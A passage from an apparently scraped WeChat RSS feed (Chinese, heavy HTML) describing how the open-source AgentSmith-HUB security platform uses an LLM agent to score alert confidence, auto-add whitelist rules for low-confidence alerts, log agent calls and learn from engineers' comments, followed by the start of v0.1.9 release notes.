src="https://wechat2rss.xlab.app/img-proxy/?k=daec6f6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicDibm5TCpglBUkOj2XaPqPP7O0cO4cA8nc3C0sicxr3vvfmetZicLicl7KRX1XTnibcRsMgXFGrXfdPwIA7ia067qGLpK3JicfNFicGXa0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">于是告警可以在 HUB 内先经过 &#39;alert_review&#39; AGENT 模块，输出的告警数据会增加 AI 的分析结果后再推送到群里，这样安全运营人员可以只评估高置信度的告警：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000828" data-ratio="0.5462962962962963" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=55ada135&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicD4FpYCZQYVjI4XHTocpBibJia81lhC5rNWG5DgEKQD9jzs6cUW9WToL1cH5KqDSqrx1yxSLbuMAZicA5fNAZrJY71kXcaCXHA6fg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000829" data-ratio="0.5064814814814815" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4a1e0069&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicD2kE5iclzvIEbjtHEbKtAAAgkHXKDWLxVrRYtgbdQWoJaoJL6vyIMmo1diaaZfvEkZL8YC9qglE4eUFBw2c1ut5ibClUy3SDfjLI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">到这一阶段，基本完成了 AI 告警自动化 Review 的工作，根据 3 周的实际验证效果来看，置信度的分析整体还是比较准确的。</span></span></p><p style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><jncounttag></jncounttag><span leaf="">3. 自动化生成白名单</span></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">但是很快我们就发现：部分正常的操作且会触发低置信度的告警如果没有白名单的话每日告警量会很大，这会带来很多无效的告警进入 AI 进行评估浪费算力，我们思考应当让 AGENT 具备自动化针对低置信度告警添加白名单的功能。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">首先 HUB 支持自定义插件功能，该插件一般会在 RULSET 规则引擎组件使用，实现复杂策略、告警自动化响应等功能，我们将插件能力也抽象出来，允许 AGENT 调用，实现 AGENT TOOLS 的效果。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">另一方面，我们也新增了 SKILLS 组件，该组件可以挂载在 AGENT 下，渐进披露。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">于是首先，我们在告警 Review 链路中增加了一个专门做白名单的 RULESET，在 AGENT 前面，告警如果不被白名单匹配，才会继续向后到 &#39;alert_review&#39; AGENT 进行告警的分析：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000831" data-ratio="0.5472222222222223" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9646c556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicAXiaIZ55EM4QcpnOR84hwCcOCBjPT3q5W1SnI4XBYDzT3NnRWTV2zCv3HH9Nx3WFv1fSgeolu3w2AbCxRDQJpnZd0UfA0icrrmY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">然后我们新增了一个插件：addRule，该插件可以实现向 RULSET 添加规则：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000832" data-ratio="0.24351851851851852" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5eae8f62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicCQ0TaiavF4laHLyFEoN2Lqdp07OfgT1cniabp90feYcVZbDg6GxDeQiataeCpYF593ZFPhO9a1juIGV8YPwrNJLVRMBJcbEhuUJI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">由于 HUB RULESET 是有特定语法约束的，于是我们添加了特定的 SKILL：hub_ruleset_expert，AGENT 可以通过该 SKILL 知道如何正确的编写一条 RULE：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000833" data-ratio="0.5462962962962963" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3fdf01b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicDn9f7zUH1pNpFuAMmph6gpGVOiasd1wxeq6InOIItIDTIiaHI22yxKxHtJp1855P2o7wBTy4pPJoY0u3Rj1hpkJutsj1rJhLnoY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">于是我们重新设计了&#39;alert_review&#39; AGENT 流程，并从一开始仅做告警分析变成了：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span leaf="">告警置信度分析，<span class="code-snippet__number">0-1</span>；</span></code><br/><code><span leaf="">告警的置信度如果低于 <span class="code-snippet__number">0.2</span>，那么调用 <span class="code-snippet__string">&#39;hub_ruleset_expert&#39;</span> <span class="code-snippet__built_in">SKILL</span> 生成对应白名单；</span></code><br/><code><span leaf="">通过调用<span class="code-snippet__string">&#39;addRule&#39;</span> 工具进行自动化添加白名单。</span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000835" data-ratio="1.1895910780669146" data-s="300,640" type="block" data-type="png" data-w="1076" src="https://wechat2rss.xlab.app/img-proxy/?k=5ebf8397&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicAq3uedhnuGtxUkAWrQWyQ9Xevcq4RRnMPUma20rZft7ogc6dxjDey5eyjhhPArl85OaiapSVN6HpM3uGaZEQETdmXoJ3vJwlgg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">最后，我们不希望 AGENT 的所有操作都是黑盒完成的，我们增加了 Agent Logs 功能，可以看到 AGENT 的每次调用细节：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000836" data-ratio="1.173148148148148" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=71934b9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicDek8OY2lbcKXiaHDdAz38k67VLdM0aEwCCOHEeF80glibu0LoXrZVDmvqNRHY9zE5lvL3TIUoxb6knJqbiaxy5j79w3p52jMrkcU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">至此，我们借助 AI 的能力，完整完成了告警分析、自动化添加白名单的动作：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000837" data-ratio="0.5453703703703704" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=30e85fad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicATroYopzzhoKg7juH7Kbf6Z6R7v70gNUyhRkLHDauX1LenbZZurh4bAibIL2Lr40eg2EeqlYZxBvomGKdMpwDltsR8oUjEceKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(136, 136, 136);font-style: italic;">(自动添加的白名单)</span></span></p><p style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><jncounttag></jncounttag><span leaf="">4. Learning Loop</span></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">但是这依然不够，AI 能力虽强，但是依然会有操作不够优雅的情况，并且 AI 也不能完全掌握公司内的各种业务信息，很容易在告警研判、白名单生成方面有误判，人类的介入还是必要的，我们基于该需求进行了进一步设计。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">我们针对 Agent Logs 增加了一个功能：Comments，允许安全工程师针对每次 Agent 调用进行评论，并且在 HUB 底层开发了一个专门分析 Comments 和生成 Memory 的 Agent：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000838" data-ratio="1.173148148148148" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d8c826ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicAXKKlWOxVb5DHicPO19rYXh3T082BKCrPbHkOP9FE3xMraXcrYoypzZr2hlnrV7tiasLCPcib18X455Ocy31FfMkzq0oYSlRjQjo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">当安全工程师发现 Agent 存在误判等其他问题时，我们可以在对应的操作下进行评论，HUB Memory Agent 会针对评论以及当前操作的上下文进行分析，提取出约束性的 Memory，追加到 Agent 内，Memory 会在 Agent 每次调用的时候都追加进去，这样简单的设计就完成了：<span textstyle="" style="font-weight: bold;">评论-生成 Memory-注入到 Agent 运行时</span> 的效果，实现了极简化的 Learning Loop 的效果。</span></span></p><p style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><jncounttag></jncounttag><span leaf="">5. 总结</span></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">该告警运营机制极大地减少了安全运营的工作，安全运营工程师长期头疼的误报问题得到了极大的缓解，每日研判的告警数量从一开始的几十到个位数，而 Learning Loop 也确保该功能并不是一个玩具属性的功能，而是可以持续提升准确度的生产可用的功能；Tools、Skills 的能力也赋予了 Agent 更多的可能，当 Agent 可以通过 Tools、Skills 获取更多外部信息来辅助判断告警的时候，准确度也会得到进一步的提升，甚至未来也完全可以完成一些基础的应急响应操作。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="font-size: 14px;">项目地址：</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 122, 170);font-style: italic;text-decoration: underline;"><a href="https://github.com/EBWi11/AgentSmith-HUB" target="_blank">https://github.com/EBWi11/AgentSmith-HUB</a></span></span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-style: normal;text-decoration: none;">文章中使用的Skills、Agent、Tools均已开源。</span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=08aa56c7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484487%26idx%3D1%26sn%3Dea8cb01e7b111d6403e298a264bf6b68">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Apr 2026 17:18:00 +0800</pubDate>
    </item>
    <item>
      <title>AgentSmith-HUB v0.1.9 更新说明</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484468&amp;idx=1&amp;sn=29c2d5d65715c80badfd94979f70fb83</link>
      <description>AgentSmith-HUB v0.1.9 更新说明</description>
      <content:encoded><![CDATA[<p>原创 <span>EBwill</span> <span>2026-03-23 12:16</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=70755247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FhaeEa6u0cicD3Vj0Ngm7942zktOkNkYmDdibKV3iahowW3U4o887ibaia61hfJLZ6Vmo7mlsGVeJXhns3l1jeMic8W8stwlmellgpxjicLVPORicWn8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>AgentSmith-HUB v0.1.9 更新说明</p>
  <p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="font-size: 20px;color: rgb(0, 0, 0);font-style: normal;">1. 新增 Agent 模块</span></span></span></em></strong></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">新增 Agent 模块，支持直接在 Project 内引用：</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000806" data-ratio="0.6972222222222222" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e2afd3ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicD87iaibj0sT5NQ4GMGv9vGY8U1xB2zm7ic6XmCXQJdsavurnPfs3Rbvh9KRHDOFx63oCCtpU6LhfNeBBGefVic9DuLyhK3ACCYUqY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc; color: #00c8dd; width: 515.844px; max-width: 100%; color: rgb(41, 148, 128); line-height: 25.6px; box-sizing: border-box !important; word-wrap: break-word !important; font-family: PingfangSC-LIGHT,sans-serif;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;margin: 5px; max-width: 100%; min-height: 1em; white-space: pre-wrap; text-align: justify; line-height: 1.5; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; line-height: 30px; color: rgb(84, 84, 84); box-sizing: border-box !important; word-wrap: break-word !important; font-size:15px; font-style: normal; font-family: PingfangSC-LIGHT,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">（开启该功能需要在HUB Config 内添加 </span><span leaf="">llm_api_key、</span><span leaf="">llm_base_url、</span><span leaf="">llm_model 配置项）</span></span></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">新增 Skill 模块，支持在 Agent 内引用，渐进披露，目前内置了 hub_ruleset_expert skill，可以指导 Agent 生成 HUB Rule：</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5462962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000807" src="https://wechat2rss.xlab.app/img-proxy/?k=3b86d858&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicBbDg17NfpCwiavOxqibDF3zicmxiaABYnoYbiacW5XUczRwVIElNauxuyCBGRA2jU8mXibBHRwiaj1wSiak0iaroE1ExIAIuEVCQueDS20%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4444444444444444" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000808" src="https://wechat2rss.xlab.app/img-proxy/?k=3a6136bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicBlEcCiawMehqhNrLSkeuzW3VJ6RibeF9EWfgJUxJeC3INiaJSpqqAnVpgXibNicjtyk3oovibicnqmerlrDzGKribfgNqkyZI45ynbKuM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">Agent 模块支持调用 Plugin，新增了 addRule 插件，支持 Agent 调用该插件对某 Rueleset 新增 Rule：</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4722222222222222" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000817" src="https://wechat2rss.xlab.app/img-proxy/?k=06816bd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicC3nG6rjNMRmUr8SWBJ0wCR3ekEEdaBicILFy2PRic4msr5DeWDiaQzIEBNX08RRw90crMQDppLibcEaBw5KNF0GnsDULYXNxgE7Oc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5472222222222223" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000809" src="https://wechat2rss.xlab.app/img-proxy/?k=9c8247c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicDnrIkpwlU5AmdGw0SlMfLCSdnpicibxIBcXD0wd4Qib9B6ibq3icI2icAwPomjUsn7fbbWE9GbaSrmrlIGevKqvyHAvfWV4oiaszCzgY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">新增 Agent Log 模块，可以通过该功能查看 Agent 完整调用链路：</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6842592592592593" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000810" src="https://wechat2rss.xlab.app/img-proxy/?k=d2b61033&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicAIFl4J0SBlNXGIej1Dt7e648GicA8GrLCaJrQIO3uWChxeJS28T9ZicGIW0uuXaLgczT0Hic3DRlicHQzBCCKp6YeGG5z8peY8vdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 